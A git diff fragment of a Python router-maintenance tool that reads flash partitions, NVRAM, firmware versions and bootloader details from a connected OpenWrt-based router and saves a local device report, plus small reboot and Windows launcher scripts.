gw.run_cmd("rm -f " + fn_remote) + except Exception: + return self.nvram + if not os.path.exists(fn_local): + return self.nvram + if os.path.getsize(fn_local) <= 1: + return self.nvram + with open(fn_local, "r") as file: + data = file.read() + if not retdict: + return data + if verbose: + print("NVRam params:") + env = EnvBuffer(data, '\n', crc_prefix = False, encoding = 'ascii') + self.nvram = env.var + if verbose and self.nvram: + for i, (k, v) in enumerate(self.nvram.items()): + if verbose == 1 and not k.startswith('flag_') and k != 'ipaddr' and k != 'serverip': + continue + print(" {key}{value}".format(key=k, value=('=' + v if v is not None else ''))) + if verbose: + print(" ") + #self.nvram = type("Names", [object], self.nvram) + return self.nvram + + def get_board_name(self, verbose = None): + verbose = verbose if verbose is not None else self.verbose + self.board_name = None + fn_local = 'outdir/board_name.txt' + fn_remote = '/tmp/sysinfo/board_name' + gw.download(fn_remote, fn_local) + if os.path.getsize(fn_local) <= 0: + return None + with open(fn_local, "r") as file: + self.board_name = file.read() + self.board_name = self.board_name.strip() + if verbose: + print("Board name: {}".format(self.board_name)) + print("") + return self.board_name + + def get_model(self, verbose = None): + verbose = verbose if verbose is not None else self.verbose + self.model = None + fn_local = 'outdir/model.txt' + fn_remote = '/tmp/sysinfo/model' + gw.download(fn_remote, fn_local) + if os.path.getsize(fn_local) <= 0: + return None + with open(fn_local, "r") as file: + self.model = file.read() + self.model = self.model.strip() + if verbose: + print("Model: {}".format(self.model)) + print("") + return self.model + + def get_ver(self, verbose = None): + verbose = verbose if verbose is not None else self.verbose + self.ver = Version() + if verbose: + print("Version info:") + fn_local = 'outdir/uboot_version.txt' + fn_remote = '/etc/uboot_version' + try: + gw.download(fn_remote, fn_local, verbose = 0) + with open(fn_local, "r") as file: + self.ver.uboot1 = file.read().strip() + except Exception: + pass + if verbose: + print(" UBoot: {}".format(self.ver.uboot1)) + fn_local = 'outdir/openwrt_version.txt' + fn_remote = '/etc/openwrt_version' + try: + gw.download(fn_remote, fn_local, verbose = 0) + with open(fn_local, "r") as file: + self.ver.openwrt = file.read().strip() + except Exception: + pass + if verbose: + print(" OpenWrt: {}".format(self.ver.openwrt)) + fn_local = 'outdir/fw_ver.txt' + fn_remote = '/etc/xiaoqiang_version' + try: + gw.download(fn_remote, fn_local, verbose = 0) + except Exception: + fn_remote = None + if not fn_remote: + fn_remote = '/usr/share/xiaoqiang/xiaoqiang_version' + try: + gw.download(fn_remote, fn_local, verbose = 0) + except Exception: + fn_remote = None + if fn_remote and os.path.getsize(fn_local) > 0: + with open(fn_local, "r") as file: + s = file.read() + x = re.search(r"option ROM '(.*?)'", s) + self.ver.fw = x.group(1) if x else None + x = re.search(r"option CHANNEL '(.*?)'", s) + self.ver.channel = x.group(1) if x else None + x = re.search(r"option HARDWARE '(.*?)'", s) + self.ver.hardware = x.group(1) if x else None + x = re.search(r"option UBOOT '(.*?)'", s) + self.ver.uboot2 = x.group(1) if x else None + x = re.search(r"option BUILDTIME '(.*?)'", s) + self.ver.buildtime = x.group(1) if x else None + if verbose: + print(" Firmware: {}".format(self.ver.fw)) + print(" Channel: {}".format(self.ver.channel)) + print(" BuildTime: {}".format(self.ver.buildtime)) + print(" Hardware: {}".format(self.ver.hardware)) + print(" UBoot(2): {}".format(self.ver.uboot2)) + print("") + return self.ver + + def get_bootloader(self, verbose = None): + verbose = verbose if verbose is not None else self.verbose + self.bl = Bootloader() + self.bl_list = [] + ret = self.bl + if verbose: + print("Bootloader info:") + plst = self.get_part_list(['bootloader', 'SBL1', 'APPSBL', 'SBL2', 'SBL3'], comptype = 'ends') + if not plst: + return ret + for i, p in enumerate(plst): + bl = Bootloader() + bl.addr = self.partlist[p]['addr'] + size = self.partlist[p]['size'] + name = self.partlist[p]['name'] + name = ''.join(e for e in name if e.isalnum()) + fn_local = 'outdir/mtd{id}_{name}.bin'.format(id=p, name=name) + fn_remote = '/tmp/bl_{name}.bin'.format(name=name) + bs = 128*1024 + cnt = size // bs + try: + gw.run_cmd("dd if=/dev/mtd{i} of={o} bs={bs} count={cnt}".format(i=p, o=fn_remote, bs=bs, cnt=cnt)) + gw.download(fn_remote, fn_local) + gw.run_cmd("rm -f " + fn_remote) + except Exception: + continue + if verbose: + print(" addr: 0x%08X (size: 0x%08X)" % (bl.addr, self.partlist[p]['size'])) + if not os.path.exists(fn_local): + continue + if os.path.getsize(fn_local) <= 1: + continue + with open(fn_local, "rb") as file: + data = file.read() + bl.img = data + self.bl_list.append(bl) + if data[0:4] == b'\x27\x05\x19\x56': + bl.img_size = 0x40 + int.from_bytes(data[0x0C:0x0C+4], byteorder='big') + else: + if self.info.cpu_arch == 'mips': + bl.spi_rom = True + if bl.img_size is None: + x = data.find(b'\x00' * 0x240) + if x > 0: + bl.img_size = x + x = data.find(b'\xFF' * 0x240) + if x > 0 and x < (bl.img_size if bl.img_size is not None else len(data)): + bl.img_size = x + max_size = bl.img_size if bl.img_size is not None else len(data) + if verbose: + print(" image size: {} bytes".format(bl.img_size)) + #if not bl.type: + # x = data.find(b"Breed ") + # if (x > 0 and x < 0x40): + # bl.type = 'breed' + if not bl.type: + x = data.find(b'hackpascal@gmail.com') + if x > 0 and x < max_size: + bl.type = 'breed' + if not bl.type: + x = data.find(b"PandoraBox-Boot") + if x > 0 and x < max_size: + bl.type = 'pandora' + if not bl.type: + x = data.find(b"UBoot Version") + if x > 0 and x < max_size: + bl.type = 'uboot' + if verbose: + print(" type: {}".format(bl.type)) + if self.bl_list: + self.bl = self.bl_list[0] + if verbose: + print("") + return self.bl + + def get_env_list(self, verbose = None): + verbose = verbose if verbose is not None else self.verbose + self.env.fw = EnvBuffer() + self.env.breed = EnvBuffer() + self.env.bdata = EnvBuffer() + self.env_list = [] + ret = self.env.fw + if verbose: + print("ENV info:") + plst = self.get_part_list(['config', 'APPSBLENV', 'bdata'], comptype = 'ends') + if not plst: + return ret + env_breed_addr = 0x60000 # breed env addr for r3g + env_breed_size = 0x20000 + pb = self.get_part_num(env_breed_addr) + if pb >= 0: + plst.append(1000 + pb) + for i, p in enumerate(plst): + env = EnvBuffer() + type = '' + if p >= 1000 and p < 2000: + type = 'breed' + p = p - 1000 + part = self.partlist[p] + name = part['name'] + name = ''.join(e for e in name if e.isalnum()) + if type == 'breed': + env.addr = env_breed_addr + data_size = part['size'] - (env.addr - part['addr']) + if data_size < env_breed_size: + continue + else: + env.addr = part['addr'] + data_size = part['size'] + env.max_size = data_size + fn_local = 'outdir/mtd{id}_{name}.bin'.format(id=p, name=name) + fn_remote = '/tmp/env_{name}.bin'.format(name=name) + if part['size'] < 128*1024: + bs = 1024 + cnt = part['size'] // bs + else: + bs = 128*1024 + cnt = part['size'] // bs + try: + gw.run_cmd("dd if=/dev/mtd{i} of={o} bs={bs} count={cnt}".format(i=p, o=fn_remote, bs=bs, cnt=cnt)) + gw.download(fn_remote, fn_local) + gw.run_cmd("rm -f " + fn_remote) + except Exception: + continue + if verbose: + print(" addr: 0x%08X (size: 0x%08X) " % (env.addr, env.max_size), type) + if not os.path.exists(fn_local): + continue + if os.path.getsize(fn_local) <= 1: + continue + with open(fn_local, "rb") as file: + data = file.read() + if env.addr is None: + continue + prefix = data[0:4] + if prefix == b"\x00\x00\x00\x00" or prefix == b"\xFF\xFF\xFF\xFF": + if type != 'breed': + continue + env.data = data + env.offset = 0 + self.env_list.append(env) + if self.env.fw.addr is None: + self.env.fw = env + if self.env.bdata.addr is None and name.lower().endswith('bdata'): + self.env.bdata = env + if self.env.breed.addr is None and type == 'breed': + self.env.breed = env + if type == 'breed': + env.offset = env.addr - part['addr'] + data = data[env.offset:] + if data[0:4] != b'ENV\x00': + continue + max_size = env_breed_size + end = data.find(b"\x00\x00", 4) + if end > max_size: + continue + else: + max_size = data.find(b"\xFF\xFF\xFF\xFF", 4) + if max_size <= 0: + max_size = env.max_size + env.max_size = max_size + if type != 'breed': + env_crc32 = int.from_bytes(prefix, byteorder='little') + for i in range(1, 256): + size = 1024 * i + if size < len(data): + buf = data[4:size] + crc = binascii.crc32(buf) + else: + buf = data[4:] + (b'\x00' * (size - len(data) - 4)) + crc = binascii.crc32(buf) + if crc == env_crc32: + if verbose: + print(" CRC32: 0x%08X" % crc) + if size <= data_size: + env.max_size = size + break + if verbose: + print(" max size: 0x%X" % env.max_size) + #if verbose: + # env.buf = EnvBuffer(data, '\x00') + # buf, crc = env.buf.pack(env.max_size) + # print(" XXX CRC: 0x%X (len = %X)" % (crc, len(buf))) + end = data.find(b"\x00\x00", 4) + if (end <= 4): + continue + data = data[4:end+1] + env.delim = '\x00' + env.crc_prefix = False + env.encoding = 'ascii' + env.var = env.parse_env_b(data, env.delim, encoding = env.encoding) + env.crc_prefix = True + if verbose >= 2 and env.var: + for i, (k, v) in enumerate(env.var.items()): + if (v is not None): + v = '=' + v + print(" " + k + v) + if self.env_list: + self.env.fw = self.env_list[0] + if verbose: + print("") + return self.env.fw + + +if __name__ == "__main__": + fn_dir = '' + fn_old = 'full_info_old.txt' + fn_local = 'full_info.txt' + fn_remote = '/outdir/full_info.txt' + + if os.path.exists(fn_local): + if os.path.exists(fn_old): + os.remove(fn_old) + os.rename(fn_local, fn_old) + + info = DevInfo(verbose = 1, infolevel = 99) + #if not info.partlist: + # die("В ядерном логе не обнаружена информация о разметке NAND") + + file = open(fn_local, "w") + file.write("_MTD_partitions_:\n") + for i, part in enumerate(info.partlist): + file.write(" %2d > addr: %08X size: %08X name: \"%s\" \n" % (i, part['addr'], part['size'], part['name'])) + file.write("\n") + file.write("_Base_info_:\n") + file.write(' Linux version: {}\n'.format(info.info.linux_ver)) + file.write(' CPU arch: {}\n'.format(info.info.cpu_arch)) + file.write(' CPU name: {}\n'.format(info.info.cpu_name)) + file.write(' SPI rom: {}\n'.format(info.info.spi_rom)) + file.write("\n") + file.write("_Kernel_command_line_:\n") + if (info.kcmdline): + for i, (k, v) in enumerate(info.kcmdline.items()): + v = '' if (v is None) else ('=' + v) + file.write(" " + k + v + '\n') + file.write("\n") + file.write("_NVRam_params_:\n") + if (info.nvram): + for i, (k, v) in enumerate(info.nvram.items()): + v = '' if (v is None) else ('=' + v) + file.write(" " + k + v + '\n') + file.write("\n") + file.write("_RootFS_current_:\n") + file.write(' num = {}\n'.format(info.rootfs.num)) + file.write(' dev = "{}"\n'.format(info.rootfs.dev)) + file.write(' mtd_name = "{}"\n'.format(info.rootfs.mtd_name)) + file.write(' partition = "{}"\n'.format(info.rootfs.partition)) + file.write("\n") + #file.write('Board name: "{}" \n\n'.format(info.board_name)) + #file.write('Model: "{}" \n\n'.format(info.model)) + file.write("_Version_info_:\n") + file.write(" UBoot: {} \n".format(info.ver.uboot1)) + file.write(" OpenWrt: {} \n".format(info.ver.openwrt)) + file.write(" Firmware: {} \n".format(info.ver.fw)) + file.write(" Channel: {} \n".format(info.ver.channel)) + file.write(" BuildTime: {} \n".format(info.ver.buildtime)) + file.write(" Hardware: {} \n".format(info.ver.hardware)) + file.write(" UBoot(2): {} \n".format(info.ver.uboot2)) + file.write("\n") + file.write("_Bootloader_info_:\n") + for i, bl in enumerate(info.bl_list): + p = info.get_part_num(bl.addr) + name = info.partlist[p]['name'] if p >= 0 else "" + file.write(" {}:\n".format(name)) + file.write(" addr: 0x%08X \n" % (bl.addr if bl.addr else 0)) + file.write(" size: 0x%08X \n" % (len(bl.img) if bl.img else 0)) + file.write(" image size: {} bytes \n".format(bl.img_size)) + file.write(" type: {} \n".format(bl.type)) + file.write("\n") + file.write("_ENV_info_:\n") + for i, env in enumerate(info.env_list): + p = info.get_part_num(env.addr) + name = info.partlist[p]['name'] if p >= 0 else "" + file.write(" {}:\n".format(name)) + file.write(" addr: 0x%08X \n" % (env.addr if env.addr else 0)) + file.write(" size: 0x%08X \n" % (env.max_size if env.max_size else 0)) + file.write(" len: %d bytes \n" % env.len) + file.write(" prefix: {} \n".format(env.data[env.offset:env.offset+4] if env.data else None)) + if env.var: + for i, (k, v) in enumerate(env.var.items()): + v = '' if (v is None) else ('=' + v) + file.write(" " + k + v + '\n') + file.write("\n") + file.close() + + print("Full device information saved to file {}".format(fn_local)) diff --git a/reboot.py b/reboot.py new file mode 100644 index 0000000..01a52a1 --- /dev/null +++ b/reboot.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys +import platform + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) +import gateway +from gateway import die + + +gw = gateway.Gateway() + +print("Send command...") +gw.run_cmd("reboot") + +print("Reboot activated!") diff --git a/run.bat b/run.bat new file mode 100644 index 0000000..46affcb --- /dev/null +++ b/run.bat @@ -0,0 +1,3 @@ +@echo off +chcp 866 >NUL +python\python.exe menu.py